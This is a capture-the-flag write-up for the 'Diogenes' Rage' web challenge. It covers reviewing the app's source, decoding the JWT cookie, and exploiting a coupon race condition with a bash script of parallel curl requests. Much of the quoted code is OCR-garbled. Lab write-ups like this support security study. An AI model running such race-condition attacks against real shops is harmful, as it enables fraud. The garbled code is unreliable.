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
## Intro

Given IP address and port: 157.245.43.189:31373

Challenge Description by HTB:

Having missed the flight as you walk down the street, a wild vending machine appears in your way. You check your pocket and there it is, yet another half torn voucher coupon to feed to the consumerism. You start wondering why should you buy things that you don't like with the money you don't have for the people you don't like. You're Jack's raging bile duct.

#### Received files:



#### Web:



# Testing Functionality - Web

While inspecting the website to understand its functionality, it is possible to see that there are no external links that can be clicked on the website, or other pages to navigate to.

The only interaction of this website with the user is the vending machine:




Note the coupon.

The coupon can be moved by the user when clicking and dragging it. Obviously, we would like to see first how does the website change when we try and use the given coupon.

When doing so, the text shown above the machine's keys is changed:



I kept testing its functionality by submitting a product to buy: for example, A1, which is the pizza.



The result is the given product, and the fact that our 1\$ coupon has 0.45 balance left.

When clicking on the purchased product, it disappears, and we can try and purchase another product. I will test it until I have no funds left to see how the website reacts to that as well. But before doing so, I decided to test the red button on the machine.

When clicking on the red button, a new coupon would be displayed with a new full value of 1\$.



Interesting. Why?

Since all of the available products have a value that is less that 1\$ and can be purchased – except of one item which is the soap (C8) that costs 13.37\$. it might be a hint.

I continued to purchase items as mentioned before, until I have no funds left:



## Insufficient balance:



So I'm done testing the functionality of the website itself.

Time to test its functionality from the source files. Questions to be asked:

- Can I change the value of the products? Should I?
- Can I change the value of the coupons?
- Where those coupons are stored?
- Why product "C8" is different and higher than 1\$?

## Testing Functionality – code

#### Viewing index.js:

```
const app
                                    express();
        const path
                                 = require('path');
        const bodyParser = require('pddy-parser');
const cookieParser = require('cookie-parser');
const nunjucks = require('nunjucks');
const routes = require('./routes');
const Database
                                 = require('./database');
        const db = new Database('diogenes-rage.db');
        app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
        app.use(cookieParser());
      □nunjucks.configure('views', {
    autoescape: true,
             express: app
       app.set('views', './views');
app.use('/static', express.static(path.resolve('static')));
        app.use(routes(db));
      Papp.all('*', (req, res)
             return res.status(404).send({
                   message: '404 page not
      □(async () => {
             app.listen(1337, '0.0.0.0', () => console.log('Listening on port 1337'));
```

On top of the code, const variables were declared.

- Variables defined with const cannot be Redeclared.
- Variables defined with const cannot be Reassigned.
- Variables defined with const have Block Scope.

The app.use() function is used to mount the specified middleware function(s) at the path/callback which is being specified. It is mostly used to set up middleware for your application.

The app.set() function is used to assign the setting name to value. You may store any value that you want, but certain names can be used to configure the behavior of the server.

The app.use() function is used to mount the specified middleware function(s) at the path which is being specified. It is mostly used to set up middleware for your application.

The keyword async before a function makes the function return a promise:

```
Example:
```

**}**o:

```
async function myFunction() {
return "Hello";
}
Is equal to:
function myFunction() {
return Promise.resolve("Hello");
```

The await keyword can only be used inside an async function.

The await keyword makes the function pause the execution and wait for a resolved promise before it continues.

#### Viewing database.js:

```
index.js × database.js ×
      const sqlite = require('sqlite-async');
3
    □class Database {
 4
         constructor(db_file) {
             this.db_file = db_file;
              this.db = undefined;
9
    þ
          async connect() {
10
             this.db = await sqlite.open(this.db_file);
11
12
    中中
13
          async migrate() {
14
             return this.db.exec(`
15
                 DROP TABLE IF EXISTS userData;
16
17
                 CREATE TABLE IF NOT EXISTS userData (
                      id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR(255) NOT NULL UNIQUE,
18
19
                     balance DOUBLE NOT NULL,
coupons VARCHAR(255) NOT NULL
20
21
22
23
24
                 DROP TABLE IF EXISTS products;
25
26
                 CREATE TABLE IF NOT EXISTS products (
                      27
28
29
                      price DOUBLE NOT NULL
30
```

See the connections and the async parameters for the database connection. As well SQL queries.

```
CREATE TABLE IF NOT EXISTS userData (
                   INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
VARCHAR(255) NOT NULL UNIQUE,
     username
     balance
                   DOUBLE NOT NULL.
     coupons VARCHAR(255) NOT NULL,
DROP TABLE IF EXISTS products;
CREATE TABLE IF NOT EXISTS products (
     id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, item_name VARCHAR(255) NOT NULL,
     price DOUBLE NOT NULL
INSERT INTO products (item_name, price) VALUES ("A1", 0.55);
INSERT INTO products (item_name, price) VALUES ("A2", 0.35);
INSERT INTO products (item_name, price) VALUES ("A3", 0.25);
INSERT INTO products (item_name, price) VALUES ("B4", 0.45);
INSERT INTO products (item_name, price) VALUES ("B5", 0.15);
INSERT INTO products (item_name, price) VALUES ("B6", 0.80);
INSERT INTO products (item_name, price) VALUES ("C7", 0.35); INSERT INTO products (item_name, price) VALUES ("C8", 13.37)
INSERT INTO products (item name, price) VALUES ("C9", 0.69);
DROP TABLE IF EXISTS coupons;
CREATE TABLE IF NOT EXISTS coupons (
                   INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
      coupon_code
                        VARCHAR(255) NOT NULL,
     value
               DOUBLE NOT NULL
INSERT INTO coupons (coupon_code, value) VALUES ("HTB_100", 1.00);
```

Note the products and their value.

It uses sqlite.

Seems that there are users on the back of the application:


```
id integer not null primary key autoincrement,
coupon_code VARCHAR(255) NOT NULL,
value DOUBLE NOT NULL
            value
       INSERT INTO coupons (coupon code, value) VALUES ("HTB 100", 1.00);
sync registerUser(username) {
   return new Promise(async (resolve, reject) => {
       trv {
            let stmt = await this.db.prepare
                                                   'INSERT INTO userData (username, balance, coupons) VALUES ( ?, 0.00, "")');
            resolve((await stmt.run(username)));
       } catch(e) {
           reject(e);
sync getUser(user) {
   return new Promise(async (resolve, reject) => {
       try {
            let stmt = await this.db.prepare('SELECT * FROM userData WHERE username = ?');
            resolve(await stmt.get(user));
       } catch(e) {
          async getCoupons() {
               return new Promise(async (resolve, reject) => {
                   try {
   let stmt = await this.db.prepare('SELECT * FROM coupons;');
                        resolve(await stmt.all());
                        reject(e);
          async getCouponValue(coupon_code)
               return new Promise(async (resolve, reject) => {
                        let stmt = await this.db.prepare('SELECT value FROM coupons WHERE coupon_code=?;');
                        resolve(await stmt.get(coupon_code));
                   } catch(e)
                       reject(e);
          async addBalance(user, coupon_value) {
   return new Promise(async (resolve, reject) => {
                    try {
                        let stmt = await this.db.prepare('UPDATE userData SET balance = balance + ? WHERE username = ?');
resolve((await stmt.run(coupon_value, user)));
                    } catch(e) {
```

From where these users comes from?

Before moving on to directories enumeration, etc. I decided to start and capture the request using burpsuite since the parameters being sent in the request are also part of the normal functionality of the web. And I want to see how its passing its parameters.


For now, we understand that the values are going to be the products and the coupon. So we need to trigger that by using the website.

When redeeming a new coupon using the red button, the following was captured:



Note the /api/reset and ofcourse the cookie value. Looks like base64 encoded. I will note it and check it later.

When inserting the new coupon into the machine:




Note the parameter coupon\_code, that is equals to HTB\_100. Interesting. As well note the /api/coupons/apply

Can we try and use HTB\_200 instead and receive 2\$ coupon? Worth checking.

So I will check the normal functionality of this request by sending it to the repeater and then send the request to get the response from the server:



When trying to manipulate the value:



No such coupon exists.

Continuing reviewing the source files

## Viewing JWTHelper.js

```
index.is ×
              database.js 🗙
                               package.json × JWTHelper.js ×
      const crypto = require('
                              crypto');
     const jwt
                  = require('jsonwebtoken');
     const SECRET = crypto.randomBytes(69).toString('hex');
5
    □module.exports = {
6
         async sign(data) {
             return jwt.sign(data, SECRET, { algorithm: 'HS256' });
          verify(token) {
10
             return jwt.verify(token, SECRET, { algorithm: 'HS256' });
11
12
```


## Viewing AuthMiddleware.js

```
database.js ×
                                                                    AuthMiddleware.js ×
                                package.json 🗙
                                                  JWTHelper.js ×
                       = require(
     const crypto
                     = require('crypto');
4
    pmodule.exports = async (reg, res, next) => {
5
          try{
6
              if (req.cookies.session === undefined) {
7
                  let username = `tyler_${crypto.randomBytes(5).toString('hex')}`;
                 let token = await JWTHelper.sign({
8
                      username
10
                  });
11
                  res.cookie('session', token, { maxAge: 48132000 });
12
                  req.data = {
13
                      username: username
14
15
                  return next();
16
17
              let { username } = await JWTHelper.verify(req.cookies.session);
18
              req.data = {
19
                  username: username
20
              3:
21
              next();
22
          } catch(e) {
23
              console.log(e);
24
              return res.status(500).send('Internal server error');
25
26
```

So it seems that the user name is set by the code mentioned above. See lines 6 to 13.


The crypto.randomBytes() method is used to generate a cryptographically well-built artificial random data and the number of bytes to be generated in the written code. Then, it converts it into hexadecimal.

Earlier I captured the cookie and its time to try and decode it:



Note: tyler\_44660..... which is generated in the code.


#### Decoded another one:



We know more about its functionality and where it gets the user from and ofcourse how.

Before continuing to view more source codes, I mentioned earlier the option that we might use the inspect elements in order to change the products value.

The value displayed on the machine has changed:



But obviously, when purchasing the product, it does charge me for its actual price. Nothing special for now. I moved on to the routes directory.

## Viewing index.js

```
await db.registerUser(req.data.username);
    user = { username: req.data.username, balance: 0.00, coupons: '' };
const { item } = req.body;
if (item) {
    return db.getProduct(item)
             if (product == undefined) return res.send(response("Invalid item code supplied!"));
             if (product.price <= user.balance) {</pre>
                 newBalance = parseFloat(user.balance - product.price).toFixed(2);
                 \textbf{return} \hspace{0.1cm} \texttt{db.setBalance}(\texttt{req.data.username}, \hspace{0.1cm} \texttt{newBalance})
                      .then(() => {
                          if (product.item_name == 'C8') return res.json({
                               flag: fs.readFileSync('/app/flag').toString().
                              message: `Thank you for your order! $${newBalance} coupon credits left!`
                          res.send(response(`Thank you for your order! $${newBalance} coupon credits left!`))
             return res.status(403).send(response("Insufficient balance!")):
        })
       res status (401) cond/response/(Missing required no
```

Now this is getting more interesting... note the if statement:

If (product.item name == 'C8') returen res.json({

Flag: fs.readFileSync('/app/flag').toString()

So we see the condition to receive the flag which is connected to the C8 product as we concluded earlier.

Eventually, I used a bash script to exploit it:

```
index.js f x database.js f x package.json f x JWTHelper.js f x AuthMiddleware.js f x index.js f x ma
                      ipt is essentially emploiting a race condition vulnerability in a web application where multiple requests are sent in quick succes
sind that using such scripts without proper authorization is userblical and openetually lilegales excipts like these in controlled and authorized emvironments for legitimate purposes, such as security testing.
        set -euo pipefail
                      a function named cleanup that will be used to clean up any artifacts or resources after the script finish
        trap cleanup EXIT #This sets up a trap that will execute the cleanup function when the script exits
          # Exploit race condition - sends 20 asynchronous POST requests to the api/coupons/apply endpoint with the coupon code parameter set to 'HTB 100'. The & at the end of the curl command sends each request in the background
       Efor i in (1..20); do curl -s -c jar -b jar "http://$(TARGET)/api/coupons/apply" -d 'coupon_code-HTB_100' 2>&1 > /dev/null &
        echo "sleeping for a hot second (or two)..."
sleep 2 #allow some time for the asynchronous requests to potentially trigger the race condition.
#This command sends another request to the /api/purchase endpoint with the item parameter set to 'C8', then uses grep to extract the flag from the response using a regular expression. If the flag is found, it's printed. If not, a message curl -s -c jar -b jar 'http://s[TARGET]/api/purchase' -d 'item-C8' | grep -oE 'YMT8[-]'' | | echo 'exploit failed, try again'
```

A race condition occurs when two or more threads can access shared data and they try to change it at the same time. Because the thread scheduling algorithm can swap between threads at any time, you don't know the order in which the threads will attempt to access the shared data. Therefore, the result of the change in data is dependent on the thread scheduling algorithm, i.e. both threads are "racing" to access/change the data.

Tried it several times:


```
(kali⊕kali)-[~/.../HTB/Challenges/Diogenes_Rage/web_diogenes_rage]
 -$ bash exploit.sh
sleeping for a hot second (or two)...
exploit failed, try again
```

```
-(kali⊗kali)-[~/.../HTB/Challenges/Diogenes_Rage/web_diogenes_rage]
 -$ bash exploit.sh
sleeping for a hot second (or two)...
```

## Conclusion

Race condition occurs when multiple threads read and write the same variable i.e. they have access to some shared data and they try to change it at the same time. In such a scenario threads are "racing" each other to access/change the data.

This is a major security vulnerability [CWE-362], and by manipulating the timing of actions anomalous results might appear. This vulnerability arises during a TOCTOU (time-of-check, time-of-use) window.



Read more about the vuknerability:

https://www.geeksforgeeks.org/race-condition-vulnerability/